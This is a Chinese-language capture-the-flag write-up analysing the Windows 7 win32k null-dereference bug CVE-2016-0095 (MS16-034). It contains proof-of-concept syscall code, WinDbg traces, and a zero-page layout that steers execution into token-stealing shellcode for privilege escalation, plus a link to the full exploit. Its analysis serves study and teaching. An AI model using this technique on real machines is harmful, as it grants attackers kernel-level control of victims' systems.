作者:k0shl

前言


剛剛結束的SSCTF里面出了很多貼近實戰的題目,有JAVA沙箱逃逸,有office的棧溢出,都比較有意思,這次的pwn450的題目是一道Windows Kernel Exploitation,漏洞編號是CVE-2016-0095(MS16-034),由四葉草的大牛bee13oy提供了一個能觸發BSOD的PoC,要求通過分析漏洞并在Win 7環境下完成利用。

感覺這個過程比較有意思,和師傅們分享一下,這個漏洞相對于之前做過的CVE-2014-4113漏洞來說更為簡單,利用上也有點意思,適合做Windows Kernel入門。

本文首先我們簡單分析一下PoC,隨后我們一起來分析一下這個漏洞的形成原因,最后我們來看一下這個漏洞的利用點在哪里并完成利用,文章最后我將CVE-2016-0095的EoP源碼上傳到github并提供鏈接。

另外bee13oy大牛提供的PoC,我在VS2013下編譯有一點問題,我稍微調整了一下PoC源碼,會一起上傳至github。

調試環境按照SSCTF題目要求是Windows 7 x86 sp1. 請師傅們多多指教,謝謝閱讀!


PoC分析


首先觸發MS17-017的核心函數在Trigger_BSoDPoc中。

    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);

    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);

    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);

    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);

這個漏洞和bitmap相關,創建了一個hdc設備句柄,并選入了一個bitmap對象,創建了一個hBrush邏輯刷子,以及一個hRgn矩形對象,最后調用FillRgn觸發漏洞。

其中SelectObject選入bitmap對象的hBitmap2,由NtGdiSetBitmapAttributes函數創建,其定義的bitmap結構在demo_CreateBitmapIndirect函數中。

PoC在VS2013編譯時存在一些小問題,首先是對NtGdiSetBitmapAttributes的重構定義中使用的W32KAPI,這里編譯時報錯,增加一個預定義頭就可以了。

#ifndef W32KAPI
#define W32KAPI  DECLSPEC_ADDRSAFE
#endif

第二個問題在重構NtGdiSetBitmapAttributes時內聯匯編會使用NtGdiSetBitmapAttributes的系統調用號,隨后調用KiFastSystemCall進入內核態,這里KiFastSystemCall沒有提供地址,可以直接在函數內LoadLibrary之后使用GetProcAddress獲取KiFastSystemCall地址。

    HMODULE _H_NTDLL = NULL;
    PVOID addr_kifastsystemcall = NULL;
    _H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
    addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
    __asm
    {
        push argv1;
        push argv0;
        push 0x00;
        mov eax, eSyscall_NtGdiSetBitmapAttributes;
        mov edx, addr_kifastsystemcall;
        call edx;
        add esp, 0x0c;
    }

這樣編譯就沒問題啦,PoC我們簡單分析了一下,下面我們通過Windbg的PIPE進行雙機聯調,來分析一下這個漏洞的形成原因。


MS16-034漏洞分析


這是一個由于_SURFOBJ->hDEV未初始化直接引用導致的無效地址訪問引發的漏洞,首先運行PoC,Windbg會捕獲到異常中斷,來看一下中斷位置。

kd> r
eax=00000000 ebx=980b0af8 ecx=00000001 edx=00000000 esi=00000000 edi=fe9950d8
eip=838b0560 esp=980b0928 ebp=980b09a0 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
win32k!bGetRealizedBrush+0x38:
838b0560 f6402401        test    byte ptr [eax+24h],1       ds:0023:00000024=??

中斷位置eax的值是0x0,而eax+24是一個無效地址空間,我們需要跟蹤這個eax寄存器的值由什么地方得到,首先分析win32k!bGetRealizedBrush函數。

int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *a2, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned __int32))
{

函數傳入了3個變量,由外層函數分析,可以發現其中a3是EngRealizeBrush函數,是一個寫死的值(這點后 面會提到),a1是一個BRUSH結構體,a2是一個EBRUSHOBJ結構體,而漏洞觸發位置的eax就由EBRUSHOBJ結構體得來,跟蹤分析一下這個過程。

kd> p
win32k!bGetRealizedBrush+0x1c://ebx由第二個參數得來
969e0544 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
……
kd> p
win32k!bGetRealizedBrush+0x25://第二個參數+34h的位置的值交給eax
969e054d 8b4334          mov     eax,dword ptr [ebx+34h]
……
kd> p
win32k!bGetRealizedBrush+0x32://eax+1c的值,交給eax,這個值為0
969e055a 8b401c          mov     eax,dword ptr [eax+1Ch]
kd> p
win32k!bGetRealizedBrush+0x35:
969e055d 89450c          mov     dword ptr [ebp+0Ch],eax
kd> p
win32k!bGetRealizedBrush+0x38://eax為0,引發無效內存訪問
969e0560 f6402401        test    byte ptr [eax+24h],1

經過上面的分析,我們需要知道,EBRUSHOBJ+34h位置存放著什么樣的值,直接來看EBRUSHOBJ結構體的內容。

kd> dd 8effcaf8
8effcaf8  ffffffff 00000000 00000000 00edfc13
8effcb08  00edfc13 00000000 00000006 00000004
8effcb18  00000000 00ffffff fe96b7c4 00000000
8effcb28  00000000 fd2842e8 ffbff968 ffbffe68

這里0x8effcaf8+34h位置存放的值是fd2842e8,而fd2842e8+1c存放的是0x0,就是這里傳遞給eax,導致了eax是0x0,從而引發了無效地址訪問。

kd> dd fd2842e8
fd2842e8  108501ef 00000001 80000000 874635f8
fd2842f8  00000000 108501ef 00000000 00000000
fd284308  00000008 00000008 00000020 fd28443c
fd284318  fd28443c 00000004 00001292 00000001

因此我們需要知道fd2842e8+1c是一個什么對象的值,但通過dt方法沒法獲得_EBRUSHOBJ的結構,這里對象不明朗沒關系,我們可以通過對外層函數的跟蹤,來看一下+1c位置存放的是什么樣的結構,通過kb堆棧回溯(這里由于多次重啟堆棧地址發生變化,不影響調試)

kd> kb
 # ChildEBP RetAddr  Args to Child              
00 980b09a0 838b34af 00000000 00000000 838ad5a0 win32k!bGetRealizedBrush+0x38
01 980b09b8 83929b5e 980b0af8 00000001 980b0a7c win32k!pvGetEngRbrush+0x1f
02 980b0a1c 839ab6e8 fe975218 00000000 00000000 win32k!EngBitBlt+0x337
03 980b0a54 839abb9d fe975218 980b0a7c 980b0af8 win32k!EngPaint+0x51
04 980b0c20 83e941ea 00000000 ffbff968 1910076b win32k!NtGdiFillRgn+0x339

我們可以看到最外層函數調用了win32k!NtGdiFillRgn函數,直接跟蹤外層函數調用,在NtGdiFillRgn函數中。

            EngPaint(
              (struct _SURFOBJ *)(v5 + 16),
              (int)&v13,
              (struct _BRUSHOBJ *)&v18,
              (struct _POINTL *)(v42 + 1592),
              v10);                             // 函數調用會進這里

接下來我們重啟系統,重新跟蹤這個過程,對象地址值發生變化,但不影響調試,傳入的第一個參數是SURFOBJ對象,來看一下這個對象的內容

kd> p
win32k!NtGdiFillRgn+0x334:
96adbb98 e8fafaffff      call    win32k!EngPaint (96adb697)
kd> dd esp
903fca5c  ffb58778 903fca7c 903fcaf8 ffaabd60

第一個參數SURFOBJ的值是ffb58778,繼續往后跟蹤

kd> p
win32k!EngPaint+0x45:
96adb6dc ff7508          push    dword ptr [ebp+8]
kd> p
win32k!EngPaint+0x48:
96adb6df 8bc8            mov     ecx,eax
kd> p
win32k!EngPaint+0x4a:
96adb6e1 e868e4f8ff      call    win32k!SURFACE::pfnBitBlt (96a69b4e)
kd> dd 903fcaf8//這個值是BRUSH結構體
903fcaf8  ffffffff 00000000 00000000 00edfc13
903fcb08  00edfc13 00000000 00000006 00000004
903fcb18  00000000 00ffffff ffaab7c4 00000000
903fcb28  00000000 ffb58768 ffbff968 ffbffe68//偏移0x34存放的是0xffb58768
903fcb38  ffbbd540 00000006 fe57bc38 00000014
903fcb48  000000d3 00000001 ffffffff 83f77f01
903fcb58  83ec0892 903fcb7c 903fcbb0 00000000
903fcb68  903fcc10 83e17924 00000000 00000000
kd> dd ffb58768//看一下0xffb58768的值
ffb58768  068501b7 00000001 80000000 8754b030
ffb58778  00000000 068501b7 00000000 00000000//這個值是0x0
ffb58788  00000008 00000008 00000020 ffb588bc

我們發現在EBRUSHOBJ+34h位置存放的值,再+10h存放的正是之前的SURFOBJ,可以看到,0xffb58768和之前SURFOBJ對象的值0xffb58778正好相差10h,也就是說,之前ffb58768+1ch位置存放的就是SURFOBJ+0xc的值,可以看到而這個值來看一下SURFOBJ的結構

typedef struct _SURFOBJ {
  DHSURF dhsurf;
  HSURF  hsurf;
  DHPDEV dhpdev;
  HDEV   hdev;
  SIZEL  sizlBitmap;
  ULONG  cjBits;
  PVOID  pvBits;
  PVOID  pvScan0;
  LONG   lDelta;
  ULONG  iUniq;
  ULONG  iBitmapFormat;
  USHORT iType;
  USHORT fjBitmap;
} SURFOBJ;

前面DHSURF、HSURF、DHPDEV類型長度都是4字節,看到偏移+ch位置存放的是hdev對象,正是在PoC中未對hdev對象進行初始化直接引用,導致了漏洞的發生。我們也可以來看一下_EBRUSHOBJ的一些結構概況。

紅框框應該是BRUSHOBJ,其中前4個字節時iSolidColor,中間4個字節是pvRbrush,后4個字節是flColorType,綠框框應該是在PoC中定義的hBrush的COLORREF,粉框框則是SURFOBJ-10h的一個結構,問題也出現在這里。


PWN!!


知道了這個漏洞形成原因,我們來考慮利用過程,首先,我們回到觸發漏洞的位置,這里引用了eax+24,就是0x0+24,在Win7下限制較少,不像Win8和Win10,在_EPROCESS結構中有VdmAllowed之類的來限制NtAllocateVirtualMemory申請零頁內存,如果我們通過NtAllocateVirtualMemory申請零頁內存,那么對應位置就不是一個無效地址了。

我們通過偽代碼來看一下這一小部分的邏輯。

  P = 0;
  v69 = 0;
  a2 = *(struct EBRUSHOBJ **)(v6 + 28);//key!!a2被賦值為0了!
  v45 = (*((_BYTE *)a2 + 36) & 1) == 0;//引發BSOD位置
  v72 = 0;
  v75 = 0;

可以看到,在之前a2會由于hdev未初始化,而直接引用,被賦值為0x0,那么也就是說,在函數后面所有跟a2有關的操作部分,比如a2+0xn的操作,都是在零頁內存位置做操作,比如后面的a2+36就是引發bsod的位置,將0x0+24h了。

那么也就是說,如果我們用NtAllocateVirtualMemory分配了零頁內存,那么零頁內存位置的值我們都是可控的,也就是說在win32k!bGetRealizedBrush中,所有跟a2相關的位置我們都是可控的。

換個角度講,我們可以在零頁位置構造一個fake struct來控制一些可控的位置。接下來,為了利用,我們需要在win32k!bGetRealizedBrush中,找到一些可以利用的點。

找到了兩個點,第一個點比較好找,第二個點我不夠細心沒找到,還是pxx提醒了我,感謝pxx師傅!

第一個點在

第二個點在

其中第一個點不好用,就是之前我說到的這是一個常數,這里引用的是EngRealizeBrush函數,是在傳遞參數時一個定值,這個值不能被修改。

因此我們能利用的位置應該就是第二個點,但其實,從我們漏洞觸發位置,到漏洞利用位置有幾處if語句判斷,第一處。

.text:BF840799 ; 119:       v23 = *((_WORD *)v20 + 712);
.text:BF840799
.text:BF840799 loc_BF840799:                           ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+266j
.text:BF840799                 movzx   edx, word ptr [eax+590h] ; check 0x590
.text:BF8407A0 ; 120:       if ( !v23 )
.text:BF8407A0                 cmp     dx, si
.text:BF8407A3 ; 121:         goto LABEL_23;
.text:BF8407A3                 jz      loc_BF8406F7

這時候v20的值是a2,而a2的值來自于 a2 = (struct EBRUSHOBJ *)(v6 + 28);,之前已經分析過,由于未初始化,這個值為0,那么第一處在v23的if語句跳轉中,需要置0+0x590位置的值為不為0的數。

接下來第二處跳轉。

.text:BF8407A3 ; 120:       if ( !v23 )
.text:BF8407A3                 jz      loc_BF8406F7
.text:BF8407A9 ; 122:       v24 = (struct EBRUSHOBJ *)((char *)v20 + 1426);
.text:BF8407A9                 add     eax, 592h  ; Check 0x592
.text:BF8407AE ; 123:       if ( !*(_WORD *)v24 )
.text:BF8407AE                 cmp     [eax], si
.text:BF8407B1 ; 124:         goto LABEL_23;
.text:BF8407B1                 jz      loc_BF8406F7

這個地方又要一個if語句跳轉,這個地方需要置0x592位置的值為不為0的數。

最后一處,也就是call edi之前的位置

.text:BF8407F0                 mov     edi, [eax+748h]//edi賦值為跳板值
.text:BF8407F6                 setz    cl
.text:BF8407F9                 inc     ecx
.text:BF8407FA                 mov     [ebp+var_14], ecx
.text:BF8407FD ; 134:       if ( v26 )
.text:BF8407FD                 cmp     edi, esi//這里仍舊是和0比較
.text:BF8407FF                 jz      short loc_BF840823

這里檢查的是0x748的位置,這個地方需要edi和esi做比較,edi不為0,這里賦值為替換token的shellcode的值就是不為0的值了,直接可以跳轉。

只要繞過了這3處,就可以到達call edi了,而call edi,又來自eax+748,這個位置我們可控,這樣就能到shellcode位置了,所以,我們需要在零頁分配一個0x1000的內存(只要大于748,隨便定義)。

隨后布置這3個值,之后我們可以達到零頁可控位置。

接下來,我們只需要在源碼中使用steal token shellcode,然后在內核態執行用戶態shellcode,完成token替換,這樣我們通過如下代碼部署零頁內存。

    void* bypass_one = (void *)0x590;
    *(LPBYTE)bypass_one = 0x1;
    void* bypass_two = (void *)0x592;
    *(LPBYTE)bypass_two = 0x1;
    void* jump_addr = (void *)0x748;
    *(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;

由于Win7下沒有SMEP,因此我們也不需要使用ROP來修改CR4寄存器的值,這樣,我們在RING0下執行RING3 shellcode完成提權。

最后,我提供一個我的Exploit的下載地址: https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup

請師傅們多多指教,謝謝!Have fun and PWN!


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/298/